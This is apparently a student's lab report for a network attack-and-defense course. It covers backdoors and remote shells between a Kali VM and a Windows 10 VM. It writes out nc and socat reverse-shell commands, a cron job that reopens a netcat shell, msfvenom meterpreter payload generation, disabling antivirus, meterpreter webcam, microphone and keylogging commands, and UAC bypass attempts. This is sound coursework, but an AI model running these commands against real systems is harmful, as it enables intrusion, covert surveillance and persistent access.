20202413 2021-2022-2 《网络与系统攻防技术》实验二实验报告

文章目录

  • 20202413 2021-2022-2 《网络与系统攻防技术》实验二实验报告
    • 1.实验内容
      • 1.1 实验要求
      • 1.2 问题回答
    • 2.实验过程
      • 2.1 实验环境
      • 2.2 使用netcat获取主机操作Shell,cron启动某项任务
      • 2.3 使用socat获取主机操作Shell, 任务计划启动
      • 2.4 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
      • 2.5 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
      • 2.6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
    • 3.问题及解决方案
    • 4.学习感悟、思考等
    • 参考资料

1.实验内容

1.1 实验要求

  1. win主机使用netcat获取linux主机的Shell,接着利用该Shell使用cron启动自定义任务
  2. linux主机使用socat获取win主机的Shell, 接着利用该Shell添加任务计划程序
  3. linux主机使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到win主机,进而获取win主机Shell
  4. linux主机使用MSF meterpreter(或其他软件)获取win主机音频、摄像头、击键记录等内容,并尝试绕过UAC限制提权
  5. linux主机使用MSF生成shellcode,注入到实验一的pwn1中,获取反弹连接Shell

1.2 问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?
    我去第三方网站下载了某个破解版软件,该破解版软件中留了后门,一旦运行软件就会出事。
  2. 例举你知道的后门如何启动起来(win及linux)的方式?
    开机自启动,与其他程序绑定,通过定时任务触发等等。
  3. Meterpreter有哪些给你印象深刻的功能?
    能获取目标主机音频、摄像头、击键记录等内容,甚至能进行提权,使得被攻击方的隐私信息暴露无遗。
  4. 如何发现自己有系统有没有被安装后门?
    • 安装杀毒软件,定期检测主机安全状况,及时更新杀软的特征库
    • win主机可以通过“任务计划程序”和“注册表”查看是否有可疑任务
    • 留意使用过程中主机是否出现异常现象,如磁盘损坏、无故黑屏蓝屏等等

2.实验过程

2.1 实验环境

  • 两台虚拟机,一个是kali(192.168.3.23),另一个是win10(192.168.3.30),均开启桥接模式
  • ncat和socat。由于kali中已经默认安装了这两个工具,仅需要下载到win10中即可。下载链接:NetSec,选择下载量最大的两个即可。

2.2 使用netcat获取主机操作Shell,cron启动某项任务

  • netcat作为底层工具,可实现TCP/UDP数据收发
  • linux中任务的定时启动通过crontab进行

首先在win10中开启监听,注意进入到ncat.exe所在的工作目录下:

ncat.exe -l -p 2413  #端口号2413

接着在kali中通过ncat与win10主机建立反弹式连接:

nc 192.168.3.33 2413 -e /bin/sh  #IP是win10主机的,端口保持一致

可见成功获取了kali的shell:


如果在linux终端上执行下面的命令,结果如下:

crontab -e   #执行文字编辑器来设定时程表,这里选择的是2:/usr/bin/vim.basic
30 * * * * /bin/netcat 192.168.3.30 2413 -e /bin/sh #IP地址是win主机的,在每小时的第30分钟启动任务
crontab -l  #查看时程表


但是我们现在需要在win10中通过刚刚获得的shell来进行操作:


我们会发现kali终端弹出了警告,并且在win10获得的shell中无法进行文件修改操作。因此我们考虑从kali中记录定时任务的文件本身(/var/spool/cron目录下)入手,以root身份打开:

  • 注意,crontabs目录下如果没有root文件,则需要在root模式下输入crontab -e,设定文字编辑器并修改时程表,这样会自动生成一个root文件。
  • 我们不能使用kali文件来进行实验,会报zsh: permission denied: /var/spool/cron/crontabs/kali的错误。此时我们的身份为root,只能对root文件进行修改。只有我们的身份是普通用户kali时,才能对kali文件进行修改。然而要想通过绝对路径去访问时程表目录下的文件,必须是root身份才行。

因此我们需要通过win10获取的shell,先进入root模式,然后通过echo命令直接对文件本身进行修改(截图并非第一次进入root模式,故未输入密码):

echo "* * * * * echo "20202413" > /home/kali/mwm.txt" > /var/spool/cron/crontabs/root  #每分钟定时执行一次,用“20202413”覆盖文件mwm.txt



可见达到了预期的实验效果。

2.3 使用socat获取主机操作Shell, 任务计划启动

  • socat:功能与netcat类似,可看做netcat++。具有netcat所不具备的功能,如建立ssl连接。

首先在win10的cmd中进入到socat所在的目录下,开启监听:

socat.exe tcp-listen:2413 exec:cmd.exe,pty,stderr    #把cmd.exe绑定到端口2413,并把cmd.exe的stderr重定向到stdout


接着在kali上使用socat与win主机建立连接,可获得其shell:

socat - tcp:192.168.3.33:2413    #连接远程端口


发现出现乱码,通过显示UTF-8设置解决大部分乱码问题:

chcp 65001   #chcp能够显示或设置活动代码页编号。
#65001——UTF-8代码页;950——繁体中文;936——简体中文默认的GBK;437——MS-DOS美国英语


接着通过命令行创建任务计划,用到 schtasks 命令(windows命令行添加任务计划):

schtasks /create /sc minute /mo 1 /tn “test” /tr C:\Users\Public\test.exe    #每分钟执行一次test.exe
//test.c,编译生成test.exe
#include <stdio.h>
#include <stdlib.h>
#include <time.h>int main(void)
{char *wday[] = {"Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"};time_t timep;struct tm *p;time (&timep);p=gmtime(&timep);FILE *fp;fp = fopen("C:\\Users\\Public\\mwm.txt","a+");fprintf(fp,"%s","Hello ");fprintf(fp,"%d/%d/%d ", (p->tm_year+1900), (p->tm_mon+1), p->tm_mday);fprintf(fp,"%s %d:%d:%d\n", wday[p->tm_wday], ((p->tm_hour)+8)%24, p->tm_min, p->tm_sec);fclose(fp);return 1;
}


稍作等待,发现成功出现预期结果:

2.4 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后可以给我们返回一个控制通道。

首先在kali上生成可执行文件20202413_backdoor.exe:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.23 LPORT=2413 -f exe > 20202413_backdoor.exe    #主机IP和端口号都是本地的


接着在win10的“病毒与威胁防护”设置中关闭“实时保护”,避免后门程序被杀软识别,然后将后门程序从kali传送给win10:

ncat.exe -l 2413 > 20202413_backdoor.exe  #win10终端
nc 192.168.3.30 2413 < 20202413_backdoor.exe #kali终端。IP地址为win10主机的


紧接着在kali中进入MSF控制台,并进行参数配置:

msfconsole   #进入控制台
use exploit/multi/handler   #使用监听模块
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.3.23  #kali的IP,需要和之前生成后门程序时设置的IP相同
set LPORT 2413  #设置端口,需要和之前生成后门程序时设置的端口相同
show options    #显示参数配置情况,同时也是检查参数是否正确设置的必要步骤
exploit #开启监听


此时在win主机中运行之前传入的后门程序,kali即可获得win主机的shell:

2.5 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

基于刚刚获得的shell,继续执行命令获得主机更多信息:

record_mic -d 10  #截获音频,-d用来设置录制时间
screenshot  #截屏
webcam_snap #打开摄像头拍照
keyscan_start #开始记录击键过程
keyscan_dump #读取击键记录




接下来尝试提权。我使用了0x22_MAL_后门进阶应用Meterprter.md中的exploit/windows/local/ask模块,并成功提权。
正常情况下,我们得到Administor权限的进程,使用meterpreter内置的getsystem提权时会失败:

故可以用exploit/windows/local/ask模块,模拟一个UAC确认窗口,欺骗用户点击,从而获取权限:

问题2:exploit/windows/local/ask模块执行失败


2.6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

首先使用msf生成需要的shellcode:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.3.23 LPORT=2413 -f c


接着按照上一个实验的做法,设置堆栈可执行,关闭地址随机化,构造攻击字符串如下:

然后在msf控制台上打开监听,另开一个终端运行pwn20202413:
可见成功获取了另一个shell的权限。

3.问题及解决方案

  • 问题1:进行步骤2.5时无法获取win10主机的摄像头

  • 问题1解决方案:macbook默认没有给VMware Fusion获取电脑摄像头的权限,把权限开启即可:

  • 问题2:进行步骤2.5的提权操作时exploit/windows/local/ask模块未能正常运行:

  • 问题2解决方案:查看参数配置情况,发现LPORT被修改成了默认值4444,修改回2413即可:

4.学习感悟、思考等

通过这次实验,我掌握了netcat,socat和Meterpreter的使用方式,学会了如何在win和linux下设置定时任务,学会了如何生成自己的后门程序。与此同时,我对于反弹式连接也有了深入的理解和体会。这次实验的难点我认为在于对绕过UAC(User Access Control)提权的分析和实践,其他的实验操作照着指导书敲指令就能完成。除了我所使用的exploit/windows/local/ask模块,还有很多针对Windows平台的local exploit。而且我发现在本实验中,如果在win10上用管理员身份运行后门程序的话也可以达到提权的目的。

参考资料

  • 0x21_MAL_后门原理与实践.md
  • 0x22_MAL_后门进阶应用Meterprter.md
  • Linux crontab 命令
  • Meterpreter命令详解
  • windows命令行添加任务计划

20202413 2021-2022-2 《网络与系统攻防技术》实验二实验报告相关推荐

  1. 20202413 2021-2022-2 《网络与系统攻防技术》实验三实验报告

    20202413 2021-2022-2 <网络与系统攻防技术>实验三实验报告 文章目录 20202413 2021-2022-2 <网络与系统攻防技术>实验三实验报告 1.实 ...

  2. 20202407 2021-2022-2 《网络与系统攻防技术》实验四实验报告

    20202407 2021-2022-2 <网络与系统攻防技术>实验四实验报告 1.实践内容 1.1 恶意代码基础知识 定义:指的是使计算机按照攻击者的意图执行以达到恶意目标的指令集. 恶 ...

  3. 2022年珠宝跟踪系统市场深度分析及发展研究预测报告

    本文研究全球市场.主要地区和主要国家珠宝跟踪系统的销量.销售收入等,同时也重点分析全球范围内主要厂商(品牌)竞争态势,珠宝跟踪系统销量.价格.收入和市场份额等.   针对过去五年(2017-2021) ...

  4. 2022年旋转传送系统市场深度分析及发展研究预测报告

    本文研究全球市场.主要地区和主要国家旋转传送系统的销量.销售收入等,同时也重点分析全球范围内主要厂商(品牌)竞争态势,旋转传送系统销量.价格.收入和市场份额等.   针对过去五年(2017-2021) ...

  5. 网络攻防技术-Lab5-shellcode编写实验(SEED Labs – Shellcode Development Lab)

    网络攻防技术实验,实验环境.实验说明.实验代码见 Shellcode Development Lab Task 1: Writing Shellcode a: The Entire Process 1 ...

  6. 2021~2022思科网络试题4(模块16-17构建和保护小型网络)

    1技术人员要记录一所大学中所有网络设备的当前配置,包括校园外的建筑物中的设备.为了安全地访问网络设备,最好使用哪一项协议? FTP Telnet SSH HTTP 必须在路由器上配置哪个命令才 ...

  7. 2021~2022思科网络试题(常见错题整理)

    哪个术语描述了 IPv4 数据包头部中包含的单播.组播或广播地址的字段? 目的 IPv4 地址 哪个路由表条目具有一个与目的网络关联的下一跳地址? 远程路由 图中最大传输速率 1000 Mb/s OS ...

  8. 2021~2022思科网络试题3(模块11-13 IP编址)

    1.请参见图示. 思考一下 10.16.10.0/24 网络范围内已经使用了的地址和必须保留的地址,下列哪个子网地址可以分配给包含 25 台主机的网络? 10.16.10.224/26 10.16.1 ...

  9. 网络攻防技术——幽灵攻击实验

    一.题目 幽灵攻击于2017年发现,并于2018年1月公开披露,它利用关键漏洞进行攻击,存在于许多现代处理器中,包括Intel.AMD和ARM处理器.漏洞允许程序突破进程间和进程内的隔离,以便恶意程序 ...

最新文章

  1. 批处理-取年月日、时分秒毫秒
  2. 16第一章 ASP.Net编程基础知识
  3. 51单片机实现三位十进制数加减乘除运算
  4. mac linux win三系统安装教程,【教程】macbook pro上安装三系统详解教程(mac os x+windows+linux ubuntu)...
  5. 猎豹浏览器小号窗口怎么打开 小号窗口打开方法简述
  6. 罗翔 ---- 落俗不可避免,浪漫至死不渝
  7. paip.执行shell cmd 命令uapi java php python总结
  8. 天天红单app下载安装_天天红单官网下载
  9. 蓝桥杯质数c语言,2017年第八届蓝桥杯C/C++程序设计本科B组省赛 等差素数列(结果填空)(素数筛)...
  10. 设置计算机系统语言,windows系统默认语言如何设置-windows系统默认语言设置方法 - 河东软件园...
  11. Python3 __dict__与dir()区别,对象中私有属性的访问
  12. 如何做IT项目PoC测试
  13. 计算机一黑屏就显示当前账户已锁定,电脑黑屏用户已锁定账户怎么办?
  14. 光驱动器类有哪些最新发表的毕业论文呢?
  15. 帝国cms 7.5 utf8集成百度编辑器完美集成版
  16. java编写定义圆类和圆柱体类,Java程序基础编程基础
  17. 【网页开发】登录注册页面02
  18. 计算机科学与技术的应用及优势,解读计算机科学与技术的应用及发展趋向.docx...
  19. phpexcel导出大量数据合并单元格_PHPExcel处理一个单元格内多条数据拆分成多个单元格多条数据...
  20. 2018年最新从PayPal提现美金的方法(送$25+1%提现费)!

热门文章

  1. Windows系统错误代码大全(三)
  2. 【Linux系统编程】socket介绍
  3. MySQL 基于maxscale服务构建数据读写分离
  4. Ubuntu Touch 和 Android 双系统安装官方教程
  5. C919刚一落地,外媒的评论就跟上了
  6. 【技巧】ZIP文件的分卷压缩如何设置 ?
  7. vcode(visual studio code)中文配置
  8. 入坑机器学习:一,绪论
  9. c语言 浮点数误差,[扫盲]为什么浮点数运算会有误差
  10. 医院网站建设改版:医院站群系统模块有哪些?